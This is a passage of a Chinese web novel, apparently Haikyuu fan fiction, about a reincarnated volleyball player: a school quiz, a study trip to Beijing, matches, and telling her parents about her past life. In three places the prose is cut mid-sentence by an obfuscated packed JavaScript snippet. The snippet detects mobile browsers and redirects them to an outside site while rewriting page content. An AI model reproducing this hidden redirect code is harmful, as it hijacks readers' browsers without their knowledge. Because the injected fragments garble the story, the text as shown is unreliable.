“也没有什么特别的感觉啦，我哥哥只比我大一岁多，我们从小都是打打闹闹的，也挺快乐的呢，不过你舅舅到现在都没有成家，让外公外婆很不放心呢。”妈妈倒是觉得独生女挺好的，享受所有的资源，所有的爱。 凛音点点头，她假期也会去外公外婆家，作为全家唯一的孩子，他们对凛音是含在嘴里怕化了，放在手里怕摔了，溺爱程度让凛音都有些难以接受。她舅舅对她也很好，他是个非常相信浪漫的人，不是他爱的人他一定不会结婚的，但他偏偏自信又多疑，总觉得别人不是真心待他的，要么是为了他的钱，要么是为了他的脸，因而一直没有结婚。 凛音送走了爸爸妈妈，独自回到宿舍。 晚上，她也问了黑川凪：“有个哥哥姐姐是什么样的感觉呢？” “烦死了，天天缠着我，不过有困难可以找他们帮忙还是不错的。” 凛音若有所思地点点头，算了，反正我也没有，就不要想这种问题了。 24. 研学 文化祭第二天，礼堂有表演，所有班级社团的店铺都暂时关闭去看表演了。 凛音也和黑川凪一起去了，不得不说，作为国中社团，这几个表演是相当有水平的。最令人惊叹的是，有人唱了姆爷的Without Me，发音节奏语速也完全没问题，凛音自认为是做不到的，太厉害了。不过说真的，大庭广众之下唱这种歌真的好吗，虽然很多人听不懂…… 看完表演，各个店铺恢复了营业，只是规模都缩小了一些，凛音换上女仆装去班里忙了一会，又换上运动服去社团忙了一会，然后基本就没有她的事了，她换上校服，去参加学生会的一些小活动。 有个知识竞答活动挺有意思的，五人组队参赛，范围包括数学，物理，化学，历史，地理，艺术，体育，文学，政治，影视，科技。 凛音想参加，于是开始思考找谁组队，她自己可以答上来的范围还算多，但有的方面不太精通，需要找人填补空缺。 牛岛若利可以，他可以补上历史地理体育的一部分；濑见英太也行，艺术体育影视还不错；黑川凪也行，体育政治影视还不错。 有这三个人对凛音来说就够了，看她路上先遇到谁了，刚走了两步，遇到了川西太一。 “太喵，我想参加知识竞答，你能和我组队吗？” 太喵转身就走。 凛音一把拽住他的衣服，恳求道：“不要啊，太一，你最好了太一，快来和我组队吧。” “唉，好吧。”太一无奈同意。 “很好，剩下三个我来联系。” 凛音联系那三个人，刚好都有时间，于是五人顺利组队。 凛音带着他们去报名，这个活动还挺火的，整整有二十个队伍参加。 凛音随手取了个队伍名，“都来打排球队”。 舞台有限，比赛是一场一场比的。 第一轮凛音他们第四组上台，主持人走了一分钟流程，比赛正式开始。 每个人面前都有一个抢答器，一共二十五题，和排球比赛的分数一样。 “开始！请听题！” “任何一个大于2的偶数都可以表示成两个质数之和这一著名的猜想，在数学上被称为什么猜想？” 凛音抢答：“哥德巴赫猜想。” “元素周期表中，第56号元素是什么？” 牛岛若利抢答：“钡。” “在J.R.R.托尔金的奇幻巨著《魔戒》中，摧毁魔戒的使命最终是由哪位霍比特人完成的？” 川西太一：“弗罗多·巴金斯。” “今年，哪个北欧国家在联合国发布的《人类发展报告》中，被评为世界上人类发展指数（HDI）最高的国家？” 黑川凪：“冰岛。” 五人一路闯进决赛。 “在计算机编程中，由Google公司在今年正式发布的、用于移动设备的开源操作系统叫什么名字？” 凛音：“安卓。” 濑见英太“啧”了一声，被队友抢答了。 “公信榜中，谁第一个凭借纯音乐获得冠军？” 濑见英太：“坂本龙一。” 答对后他得意的朝着凛音笑了一下，最后一题还是被他抢到了。 凛音瞪了他一眼。 “恭喜都来打排球队获得冠军！有请队长上台领奖！” 就这样，夺得冠军，拿下奖品，这一届文化祭圆满结束，大家开始打扫校园。 而明天，就是美好的周末。 这学期相对轻松，文化祭才刚刚结束，马上十月三十号又要开始研学旅行。 学校在文化祭开始前就统计好了三个年级的研学意向，可供选择的有：日本的一些城市，中国，新加坡，韩国，美国，英国，德国，法国，希腊。 凛音，黑川凪和牛岛若利选了中国，濑见英太和大平狮音选了美国，山形隼人和小林莉亚选了英国，今川加悦、木本瑶、浅沼由美选了新加坡，并木郁江和鸟海玲奈选了韩国，剩下的人都在日本。 学校人本来就不多，去往各个地区的人就更少了，所以三个年级是统一行动的。 这可不是简单地出去玩，而是一种学习形式，要写报告的，凛音打算和黑川凪、牛岛若利组队，上交一份小组报告和摄影集。 他们需要在去中国之前就定好报告的主题框架，黑川凪不太擅长这些东西，凛音让她在一旁看着，好好学学，给她安排的主要任务是摄影，完成一个符合主题的摄影集。 大家做好功课，带好必要的东西，在老师的带领下坐飞机来到了北京，又乘大巴去酒店安顿下来。 选择来中国的人不多，只有三十多个，一个班的人数。但学校付了一笔钱想请几个会说日语的向导，结果这个项目被某个高校的日语系老师接了，往班里一发，直接来了十个大学生，还都是不在乎工资只要实习经历的。带队老师也很惊讶，这点钱竟然能找十个向导？ 但不管怎么说，三四个人就能分到一个向导，还是白鸟泽赚了。 凛音他们的向导是个漂亮的大姐姐，这十个向导里面八个都是姐姐。 凛音大大方方的用中文向姐姐介绍自己：“你好，我叫乌养凛音。” “！？你竟然会说中文？还说的这么好，完全听不出来是日本人啊。”姐姐听了很是惊讶。 “啊，我从小就在学中文，还经常和当地的中国人交谈。姐姐，你叫什么呀。” “哦哦，我叫端木燕，很高兴认识你们。” 哦？端木燕？焰之拿瓦！吞噬猛焰的力量！ 凛音心里立刻想起了端木大将军，不过这部特摄现在还没出呢。 “你好，端木姐姐，他叫牛岛若利，她叫黑川凪。” “咦，好厉害，你竟然知道端木是一个姓！” 凛音心虚低头，中国人大多都知道吧。 有了向导带着，他们的自由度高了很多，只要和向导说就能去自己想去的地方。 能看出这些大学生做了不少功课，对一些景点了如指掌，还认真研究了景点介绍的日语翻译，端木燕甚至随身带了一个电子辞典，这东西在当时的中国很贵的。 凛音当了二十几年中国人还是第一次用写报告的角度来研究中国的文化语言，让她有了一点新的感悟，对手头的报告也有了新的想法。 她会和端木姐姐一起讨论，毕竟端木姐姐也是学霸级的，在文化上会有自己的想法，果然这种交流对双方都有不少启发。 “很难想象，你是个初中生，还是个日本的初中生。” “那你就不要把我当成日本初中生了，看成和你一样的中国大学生好了。” “嗯，有点道理。”事实上端木燕已经在这么做了。 这几天，凛音和端木燕的关系升温很快，毕竟对凛音来说，端木燕才是真正的同龄人，不过不知道为什么，凛音觉得端木燕比她成熟很多，她也确实把端木当做一个大姐姐来看待。 尽管两人十分要好，但端木燕也没有懈怠，认真地给牛岛和黑川讲解，只是有凛音在一旁容易了许多。 毕竟凛音曾经在北京这个城市待了四年啊…… 出乎意料的是，她没有什么故地重游的兴奋，只是觉得难过，这个世界上只有她自己才知道，她与这座城市有着什么样的羁绊。 这次研学只有十二天，凛音把自己在中文互联网上的论坛账号留给了端木燕，回日本以后就可以在网络上交流了。 不过现在在中国流行的是□□，在端木燕的帮助下，凛音也创建了属于自己的□□。创号后的第一件事，她搜索了上辈子她的□□号，已经被人注册了，她感觉心情有点不好。 她不死心的又搜了一次，还是陌生的头像、陌生的昵称，在这个熟悉又有些陌生的城市，她的一切情绪都更容易被引爆。 她又一次意识到了她和这个世界的所有人都不一样，她有一个埋藏在心底不敢告诉任何人的秘密，她注定是孤独的。 想到这里，她又有些鄙夷自己，除了排球，她在其他方面的成绩也只是欺负欺负小孩而已，就像那些喜欢炸鱼的高段位一样。为了弥补，她会对所有人倾囊相授。 深夜，她躺在床上，无法遏制自己的思维。 她有点不知道真实的自己是什么样的了，孤独的，阳光的？她只觉得自己要分裂了，大部分时候她都是阳光强大的乌养凛音，只有在极少数的深夜，她才感觉到内心深处一直暗藏着一些黑暗的东西，让她感觉到有点孤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16808535|190768||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 立无援。 出于自我保护，她想过好几次，要把这个秘密告诉爸爸妈妈，告诉牛岛若利，告诉黑川凪，但她都没有。 这次精神问题的复发让她觉得自己有点坚持不住了，不知道那些小说里穿越的人是怎么应对这种问题的。 这次回家后告诉爸爸妈妈吧，他们会理解我的，凛音按了按太阳穴，下定决心。 这种颠覆世界观的秘密在心里压太久真的会得精神病的，她已经渐渐习惯了在无法处理问题的时候求助父母了。 凛音的精神终于再次放松了下来，她深呼吸了几下，开始第一次细想这件事。 情况也不一定有这么糟糕嘛，她不一定就是穿越的，可能就是投胎忘记喝孟婆汤了，所以只是还保有上辈子的记忆而已。 此外，她爸妈非常爱她，这一点毋庸置疑，她也知道父母很开明，很可能能接受这件事情，现在说总要比到时候她疯了再说要好。 做好决定后，凛音第一次真正地感觉安心了起来，开始睡觉。 第二天一早，她听到了自己的闹钟声，却怎么也起不来，心想肯定是昨晚睡太晚了。 她继续在黑暗中挣扎着，还是动不了，隐约听到了黑川凪的声音，她好像在摸自己。 然后就什么也感觉不到了，她好像又睡过去了。 “醒醒，醒醒。” 凛音被叫醒了，她还没睁开眼，感受到头很痛，还有点冷，空调温度是不是低了。 努力睁开眼，发现自己还躺在床上，旁边是黑川凪，牛岛若利，端木燕和带队老师。 “乌养同学，你感觉怎么样了？”带队老师关心地问。 “头很晕，有点恶心。” “来量个体温，你好像发烧了。”老师拿出温度计温柔地说道。 凛音晕乎乎地张开嘴，含住消过毒的温度计。 39℃。考虑到这是口腔温度，实际体温没到39℃，但仍然算比较高的温度了。 带队老师很担心，让端木燕帮忙买退烧药，打算观察一下情况，再决定要不要去医院。 不过老师还要照顾其他同学，不能留下来，所以让端木燕、黑川凪和牛岛若利留下来照顾，时刻保持联系，两个小时没有退烧就去医院。 端木燕很快带来了退烧药，喂凛音吃了下去，还给她端来了一杯热水。 “感觉饿吗？想吃什么东西吗？”端木燕关心地问。 “不饿，感觉很恶心。” “好，你继续睡吧，我们都在这看着呢，有事叫我们。” 凛音沉沉地又睡了过去。 她如今虚弱地躺在床上，嘴唇泛白，还有些起皮，整个人因为发烧皮肤泛红，黑川和牛岛头一回看到她这么虚弱的样子，以前就算是发烧感冒她还是算有活力的。 端木燕细心地用棉签沾水，来润凛音干燥的嘴唇，再用湿毛巾擦拭她的身体，帮她降温。 两个小时以后，凛音看起来还没退烧，黑川凪用温度计给她量了一下体温，降了一点，但还是在发烧，这下只能去医院了。幸好还有个本地人端木燕可以依靠，带队老师这么放心地离开也是因为她在场。 黑川凪把凛音叫醒，轻柔地说：“凛音，还能起床吗，要去医院了。” 凛音迷迷糊糊地点点头，想从床上爬起来，结果脚一落地就感觉一阵眩晕，站都站不住，差点摔在地上，幸好牛岛若利和黑川凪的反应够快，扶住了她。 “我来背她走吧。”牛岛若利立刻提议。 “辛苦你了，医院离酒店很近，你们照顾她一下，我来挂号。” 黑川凪帮着凛音换好衣服，然后让牛岛背着她去医院，她在旁边扶着，端木燕在前面带路。 到了医院，她们三人坐在椅子上，端木燕去挂号。 经过诊断没什么问题，重感冒发烧，医生开了点药，让她留在医院输液。 渐渐地，烧终于退了，大家松了口气，凛音也觉得身体舒服了许多，到了下午又活蹦乱跳了。 可惜老师不让她继续研学，要在酒店待着，而黑川凪他们下午跟上了大部队。 唉，每次一想自己的来历就会头疼，这次决定把事情告诉爸爸妈妈直接就莫名其妙发烧了，真是莫名其妙。 25.你不是懂的吗 凛音的体质确实很好，在酒店躺了一天就完全没问题了，带队老师禁不住她的哀求，同意她跟着大部队行动了。 他们三人带着纸笔和相机，跟着端木燕在故宫的各个角落乱窜，凛音和牛岛若利在笔记本上记录，黑川凪在到处拍照。 这十二天里，他们去了一些景点，几条胡同，去参观了几所高校，路上不停地记录，拍照，和端木燕一起讨论报告的内容。 当然，还吃到了不少好吃的，黑川凪这种嘴刁的大小姐也喜欢上不少美食。 像牛岛若利这种笨蛋凛音给他什么他就吃什么，拿到一杯豆汁也是皱眉喝了好几口，然后被无奈的凛音夺走。 “这么难喝的东西你也能喝得下去？” “毕竟你把它递给我了。” “唉，笨蛋，我给你你就喝啊？以后这样会被别人骗的。” “我不会被骗。你是你，别人是别人。” “……行……吧。” 端木燕八卦地看了他们俩一眼，私下偷偷问凛音这是不是她男朋友。 “不是，他是我幼驯染，我们从小一起长大。” “哦~” 凛音有点无奈，她以前看别人和幼驯染也是这幅样子，现在自己有了就知道了，一想到未来和他会谈恋爱，就让她感觉生理不适。但同时，因为从小一起长大，关系也一直保持的很好，有的时候就会显得有一点亲密，不熟悉的人确实会误会。 研学结束后，大家就要坐飞机离开了，端木燕特意去机场送他们，凛音有些恋恋不舍，两人拥抱了一会，互诉衷肠，道别离开。 回去的那天，是十一月十号，明天就是濑见英太的生日，而他们出发的那一天，是大平狮音的生日。 凛音已经准备好了礼物，一个有日本男排现役第一主攻手亲笔签名的排球，送给大平狮音的，这个人是大平狮音的偶像，也是凛音舅舅赞助的职业选手之一，所以搞到一个签名还是很简单的。 给濑见英太的礼物就要贵一点了，今年索尼进军mp4领域，凛音让爸爸买了两个NW-S710F，一个送给濑见英太当生日礼物。濑见家里是中产阶级，比较有钱，给他的零花钱也多，所以凛音送贵一点的礼物也无所谓。 回国以后，也就是十一月十号下午，第二天不上课，男排的大家和凛音去聚餐，给濑见英太和大平狮音过生日，就在学校的一家餐厅。 凛音把礼物递给大平狮音，对方显得很感动。 “谢谢你，凛音，能搞到这个肯定不容易吧。”大平狮音难得表现得非常激动。 “他和我舅舅是朋友，不难拿到，你安心拿着吧。” 大平狮音抱着这个宝贝排球，对凛音千恩万谢。 濑见英太看了对自己的礼物更期待了。 “喂喂，凛音，你要送我什么？”濑见忍不住问了她。 “你猜？”凛音看他这么期待当然要吊一下。 “……不猜。” “那好吧，给你。”毕竟是英太的生日，凛音没有逗弄他，乖乖把礼物递了出去。 “哇哦！！！这个我十月底也去抢第一批发售，根本抢不到！你真是太好了！” “哼哼。” 濑见英太真的真的很开心，这一整周，凛音逗他他都没有还嘴，让凛音觉得颇为诡异。 十一号，这学期轻松的最后一天了，马上十一月底就是春中的县预选赛了，凛音不觉得县里有哪个学校是她们的对手，显然男排也是这么想的。 还有研学的报告要写，还要正常上课，考试。 而且马上国三的学姐们要升学，他们白鸟泽国中部升高中部是更容易的，但不代表你一定就能上，所以可以预测，有的三年级学姐要退部了，她们的压力又更大了一点。 凛音去问了三年级的学姐们，今川加悦作为副部长和体育特招生留了下来，并木郁江和浅沼由美还有其他三年级的学姐都选择退出春高，专注升学。 这下麻烦了，她们的首发主攻没了，重要的替补副攻也没了。 教练组只好把二年级的浅野纯从替补主攻提到首发主攻，从技术层面来说，她确实要比并木郁江稚嫩一点，但差距不大，浅野纯在比赛中也是经常上场，攻手的替换在排球比赛里面十分常见，目前她们队伍里面只有乌养凛音和黑川凪是打满全场的。 教练组把一年级剩下三个人提到了替补席，预选赛打弱队的时候可以放上去加加经验。 风间姐妹练了大半年，如今的水平已经够看了，一年级的岩下雅美本来就有一定基础，是今川加悦钦定的全面型接应继承人。今川加悦作为队伍里重要的保姆接应一直在做脏活累活，如果没有她串联队伍，接好一传，凛音根本不可能安心进攻。 但明年今川学姐就毕业了，白鸟泽目前这个阵容根本就不能缺少这种保姆接应，二年级没有人能替她，最终，今川选择了并不突出的岩下雅美，她们俩个私下经常一起练习。 高强度训练了十几天，她们就要去参加县预选赛了。 教练组选择让风间姐妹和岩下雅美上场，凛音和鸟海玲奈来兜底。之前的比赛中，小林莉亚和木本瑶暴露的实力比较少，外界对她们俩人的研究也比较少，所以教练打算让她们俩再藏一藏。 尽管有几个没什么赛场经验的队员在，但县级预选赛仍然进行的十分顺利，在这种配置下，她们在决赛输了北川第一一局，赢了两局拿下了比赛。 输了那一局后，三小只都快急的掉眼泪了。 “对不起，部长，都是因为我们太弱了才会输掉这一局。” “没事，本来就是为了让你们上场增加比赛经验的，而且有我们在呢，不会输给北川第一的，下局你们继续上场，别怕，你们的水平是够的。” “嗯！我们一定不会辜负部长的期望的！” 凛音对她们俩的担心不以为意，风间姐妹和雅美的水平在预选赛上场根本没问题，本身就够格了，再说还有她和玲奈兜底，目前宫城县还没有能制衡她的存在。 后面两局，这三人表现都很不错，完全没有拖后腿，连失误都比较少。 教练和凛音交流过，风间春明的球感还不错，嗅觉也十分灵敏，哪怕她没有思考好要给谁传球，但仍然能下意识地做出比较好的选择。 风间夏树的嗅觉也很敏锐，总是能下意识找到一个正确的球路来进攻。 岩下雅美的天赋不如今川加悦，但很稳重，情绪十分稳定，在部里人缘很好，哪怕是黑川凪都能和她有说有笑，凛音和教练都很重视她。 决赛结束后，凛音看了一眼网对面哭出来的对手，有些感慨，竞技体育，赢的都是反派。 男排的决赛还没开始，凛音背着白鸟泽后援团，偷偷找了一个后排位置坐下。 仍然对战北川第一，凛音心里清楚，北川第一的胜率连一成都没有。 及川彻的水平又进步了，但是他的传球技术还不如黑川凪，没有她那么精准。 但是，凛音还是觉得及川彻是比黑川凪更优秀的二传，他实在是太擅长发挥队伍的潜力了，战术上也是无懈可击，一个优秀的二传手考察的远不止传球这一项技能，其他方面也很重要。 这一点连牛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16810658|190768||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 岛若利都知道。 凛音在比赛结束时，默默去了一趟卫生间，一出来，左边一个牛岛若利，右边一个及川彻。 左边：你该来白鸟泽，不要做出错误的决定。 右边：我的选择没有错，未来我也不会去白鸟泽，为了我一文不值的自尊心。 凛音一脸茫然，这卫生间有毒吧。 两个人都一起看向凛音，牛岛若利没什么表情，及川彻也卸下了自己的社交面具。 凛音在心里想，牛岛若利天天盼着及川彻来白鸟泽，及川彻能在牛岛若利面前卸下完美表情的社交面具，这怎么不是双向奔赴呢，真是一对苦命鸳鸯啊…… 咳咳，杂念散退，杂念散退。 “若利，够了，以后不要再说这种话了。”凛音难得对他严肃一次。 牛岛若利看了她几秒，不再说话，直接转身走了。 “及川前辈，一起来练练发球吗？” 面对在赛场上和牛岛若利相似的乌养凛音，他也没什么好脸色。 及川彻双手插兜斜靠在墙边，嘴角扯出略带嘲讽的弧度：“哈？小乌养这是在可怜败犬吗？不过既然你都这么诚恳地邀请了，就让及川大人教教你什么是真正的发球吧。” 凛音没有理会他不善的语气。 “你不想加入白鸟泽是因为你想打败若利吗？” 及川彻突然收起玩世不恭的表情，转动着手中的排球，面无表情地说道：“小乌养倒是很敏锐嘛。不过你说错了一点，不是‘想’，是‘一定会’。在堂堂正正击败那个天才之前，我绝不会选择捷径。” “即使未来你有可能一直没有打败白鸟泽，从来没有去过全国赛场，直到高中毕业都在日本默默无闻？” 及川彻手指突然收紧，将球捏得微微变形，抬起头平视着凛音说到：“那就证明我还不够强。我宁可带着遗憾毕业，也绝不会跪着去全国大赛。” 凛音闻言心中涌现一股钦佩之情，露出了一个灿烂的笑容，好奇地问：“我一直想知道你为什么这么执着于打败牛岛若利？” 及川彻仰头看着场馆顶灯，露出一个狡黠的笑容：“天才们只要伸手就能碰到星星呢。但及川大人偏要搭着人梯把他们拽下来，这样不是更有趣吗？” 不知不觉的，及川彻对凛音的态度没有那么糟糕了。 “我接触排球这么多年，你是第一个令我感到佩服的人。我曾经想做一个画家，但我遇到了一个人，他只画了一年，就超过了我五年的努力，所以我放弃了，画画成了我的一个爱好。” 凛音的表情难得有些许低落。 及川彻有些诧异，他的表情认真起来：“别把我和逃兵相提并论啊。知道吗？你现在这副样子，比在赛场上扣球时难看多了。” 不过这件事她早就放下了，一个国中生还打击不了她。 “好了，练球吧。” 在练习的间隙，凛音又嘴贱，问了一句她心中的疑惑：“我一直不懂你为什么这么执着于天赋，你的传球天赋确实不如黑川凪，但你拥有自己的优势，二传也不只看这一项。” 说完，她躲开了及川彻砸向她脚的球。 “真敢说啊……那就用这双不如黑川的手，在明年把你们白鸟泽击溃好了。而且，你不是懂的吗？”及川彻反问着凛音。 你不是懂的吗？ 天才练习几个月，就抵得上我一两年的练习。 你以为我有现在的水平是因为什么？ 凛音确实懂了，她不该问这个问题的。 这次练习之后，凛音和及川彻交换了联系方式。 26.男排的新成员 大阪的预选赛要比宫城的更晚一点，比完以后，凛音打听到，翼翔没出线，这次大阪出线的是城星学院，看来她们国中阶段是复仇无望了。 城星更加擅长快攻，突破了翼翔的拦网体系，从而击败了翼翔，但面对擅长强攻的白鸟泽，很难说谁胜谁负。 春中作为国中的比赛，要比春高早一点，在十二月二十五号到二十九号，所有比赛压缩到这五天。 最终，白鸟泽女排在八强之争上战胜了御茶之水，八分之一决赛上战胜城星，至少算是向大阪复仇了，可惜在半决赛上输给了富士见台，又在季军赛上输给了曾经的手下败将赤坂台，遗憾拿到了第四。 大家哭作一团，尤其是马上要升学的国三学姐，这是她们国中阶段的最后一场比赛了，以第四名结束。 男排更是止步八强。 看来这一届春中与白鸟泽无缘。 大家都回到家，带着不那么好的心情过新年，但新一年，新气象，这种希望会带走大家的不快的。 旧的一年的最后一天晚上，凛音和爸爸妈妈坐在客厅上迎接新年。 “爸爸，妈妈，我有个秘密……”凛音把自己带着前世记忆这件事说了出来。 客厅里，只有电视里红白歌会的背景音在响。听完凛音的话，母亲手中的茶杯“咔哒”一声轻轻磕在桌面上。父亲脸上的笑容僵住了，他张了张嘴，似乎想笑她在开玩笑，但在看到女儿那双异常认真的眼睛时，话堵在了喉咙里。 一阵漫长的沉默。 “……凛音，”母亲终于开口，声音有些发紧，“指的是……像漫画里那样的转生吗？” “难怪，难怪……”爸爸小声地呢喃着，好多事情都有了合理的解释。 “凛音，那你上辈子活了多少岁？” “22” 爸爸妈妈眼里流露出了巨大的悲伤，不是因为恐惧，而是为另一个时空里戛然而止的生命而感到悲伤，他们拥抱了女儿。 “那你上辈子是个中国人吗？也会打排球吗？你的家人对你好吗？……” 爸爸妈妈渐渐接受了，开始好奇女儿的过去。 凛音没有隐瞒，说出了一切，说都说了，干脆说全。 “这件事不要告诉别人，世上只有我们三个人知道就好了，哪怕是重要的朋友和其他家人。”爸爸妈妈严肃地叮嘱凛音。 “我知道，我可是个22岁的成年人。” “唉，你看着哪有22啊，最多17、18的样子吧，是不是还没有过男朋友啊。” 凛音脸僵了一下，男性朋友倒是有，男朋友是没影的。 “我就知道，看着还是个孩子啊。”父母很心疼凛音上辈子英年早逝，也没问死因。 “哼，你们可以问问一些未来的知识嘛，不过不一定准。” “好啊，两年后美国要选新总统了，你知道是谁吗？” “奥巴马，美国第一个黑人总统。” “哈哈哈哈哈哈哈，怎么可能嘛。你这肯定是不准的部分。”爸爸妈妈都笑了。 凛音耸耸肩，表示事实就是这样。 爸爸妈妈面面厮觑，又仔细思考了一下，不会吧……好像还真有可能。 “以后不要告诉我们未来的事情了，总是透露未来说不定会减寿的。” 爸爸妈妈并不打算依赖她的能力来赚钱，不过妈妈往她卡里打了一笔巨额，还暗示她如果想干什么事的话她这里有渠道。 他们觉得如果凛音自己偷偷赚钱倒是没什么。 今天一晚上，三个人的情绪仿佛在坐过山车，跌宕起伏，但等到回去睡觉时，每个人心中都很宁静。一个惊天秘密，同所爱的家人一同背负，就变得很轻松。 第二天早上，妈妈推开她的房门，发现她竟然发高烧了，这次烧到了整整40℃！ 吓得两人赶紧把她送到了医院，去了医院也是吃药输液物理降温，忙活了一通才退烧。 凛音被烧得有些神志不清了，莫名其妙想到，一个美国总统就值一点几摄氏度吗？ 这次是真的把爸爸妈妈吓坏了，这一定是鬼神的惩罚，从此他们不敢再问未来之事了，叮嘱凛音什么都不要对外说。 “不行，你们必须要用美国总统这个消息去赚钱，不然我这烧白发了！” “……” 退烧后，凛音一开始还觉得有点头晕，但很快就又活蹦乱跳了，嚷嚷着想出院，爸爸妈妈不许，强硬要求她在医院再检查一番，结果当然是什么都没查出来，非常健康。 老是在医院待着也不是办法，只能带着凛音出院了。 一月份东京在举办春高，爸爸妈妈带她去看了高中生们的比赛。 嘁，也不怎么样嘛，就比她强一点的样子，毕竟她的身体发育还不成熟。 日本的寒假并不长，很快就要开学了，这学期也只有两个月左右，女排部仍然进行着艰苦的训练，虽然只有一二两个年级，三年级的学姐们已经正式退部了。 说起来，山形隼人的生日也快到了，二月十四号，刚好是情人节。凛音干脆亲手做了一份巧克力，送给了他。这一天，山形隼人收到了大量嫉妒的眼神，凛音只做了这一份巧克力！只给了山形隼人！ 马上到来的三月份，也就是日本的毕业季了，女排部的大家依依不舍地和学姐告别，她们进行了国中阶段最后一次聚餐，合影。 今川加悦把她三年的笔记本送给了木本瑶和黑川凪，嘱咐她们期末考试的时候看看，不要过不了期末。又叮嘱岩下雅美一些接应的注意事项，雅美哭着接受了。 告别了学姐，大家马上就要变大一届了，凛音也难得为女排部的未来感到迷茫一下，三年级的走了，我们真的能撑起女排部吗？万一新生中没有什么好苗子呢？ 不过她很快又放下心来，凭借目前她们两个年级的战力，已经足够参加比赛了，新生的话慢慢来吧。 很快，四月一号，新学年开始了。学校里迎来了一批带着好奇目光的新生们，让凛音颇为愉悦，终于有人要喊她学姐了。 凛音默默从分班栏路过，然后被一名小学时候的学妹发现了。 “欸？是乌养学姐！” “啊！真的！乌养学姐！” “乌养学姐！我就是为了你才考上白鸟泽的！” 叽叽喳喳的一片“乌养学姐”，凛音不再愉悦，但她还是笑着和每个小朋友打了招呼，不能伤害小孩们的感情啊。 好不容易离开这里，凛音要去看自己的分班表了，这次她还是和黑川凪分在一个班，女排部其他人还是没和她们俩在一个班，倒是川西太一和她在一个班上了。 上了一天课，下午凛音前往排球部，少了曾经的三年级，一下就感觉空了很多。今年新生也没有排球特招的，让凛音有点失望。 入部申请大概要等几天才能收到，不知道今年会是什么情况呢。 大家一边练球一边期待着新生。如今，二年级的风间姐妹和岩下雅美已经成长起来了，她们二年级有整整七个人都能上赛场，三年级只有五个。一开始凛音担心的二传问题也被解决了，说起来也挺可惜的，尽管风间春明已经足够好了，但是确实比不了黑川凪，所以很难有上场机会。 第一天，就开开会，稍微练练球，放的稍微早了一点，七点半大家就一起去食堂吃饭了。 第二天，凛音按照惯例去男排练球，男排也是一样，没那么热闹了，不过倒是多了一个一年级的新生，估计是今年的排球特招生。 是个可爱的妹妹头，凛音露出了灿烂的笑容，上前去打招呼：“你好啊，你是一年级的特招生吗？” 对方被一个漂亮姐姐突然近身，很不好意思，红着脸说：“是…是啊，你是排球部的经理吗？” 凛音露出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16814589|190768||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神秘的笑容：“不是，我是女排部的部长，别想那么多，白鸟泽哪来的美女经理。” 对方呆住了，完全没想到女排的部长会来这里。 濑见英太突然窜出来，拍了拍妹妹头的肩膀，为他介绍。 “这是女排的部长，乌养凛音，今年二年级。” “您好！我叫五色工！我要成为队伍里的王牌！”五色工挺起胸膛，眼睛亮晶晶的。 “哦？有点意思哦，我看好你哦。”凛音向来很喜欢这种有活力的后辈。 “五色，这位一年级时就是公认的女排第一攻手，外号女武神，放在男排里也绝对是数一数二的攻手了。”濑见英太好心地为五色工解释。 “哦哟，让英太你夸我两句真是不容易啊。”凛音很是奇怪，濑见英太确实很少夸她。 “哈…哈？我…我哪有夸你，只…只是实话实说而已！”濑见英太有点不好意思了。 凛音了然地看了他一眼，对他偶尔的小傲娇表示鄙夷：“英太，傲娇已经退环境了。” 濑见英太：？？？ “那我也一定会成为超过你的王牌！”五色工丝毫不惧。 “别想了，她是个怪物。”川西太一毫不留情的打击。 “不要打击后辈，太一。”大平狮音温和地阻止。 “唉，太喵啊，我知道你是很认可我啦，但怎么能对美少女用怪物一词呢？” 川西太一这么长时间都没有接受太喵这个外号，瞪了凛音一眼，转身走了。 “可是我是女排的诶，我们不会在一个赛场上的。” 五色工一时有些呆住了，好像也是啊…… “今天来场练习赛吧，欢迎欢迎新生。”凛音提议道。 “同意。”*6 还是把凛音和牛岛若利分开，濑见和川西去了凛音阵营，五色、大平和山形去了牛岛若利阵营，剩下的人自由选择。 最终，乌养队两分领先牛岛队。 五色工看着牛岛若利和乌养凛音的眼神充满憧憬。 “加油哦，小妹妹头，水平还不错，学姐相信你肯定能成王牌的。”凛音还是没忍住鼓励可爱的妹妹头后辈。 “才、才不需要你相信呢！而且不许叫我小妹妹头！”五色工攥紧拳头，脸色通红，“……不过……我一定会成为比牛岛前辈更厉害的王牌！” “哈哈哈哈哈哈哈，小五色真可爱。” “凛音，你太恶劣了！不要调戏后辈啊！”濑见英太看不下去了，制止了她。 “好吧，好吧，我错了，英太前辈。”凛音举手投降。 今天的部活结束时，凛音快步跑到牛岛若利身边，语气轻快地喊他去食堂：“若利~若利~去吃饭~去吃饭~去吃饭~” 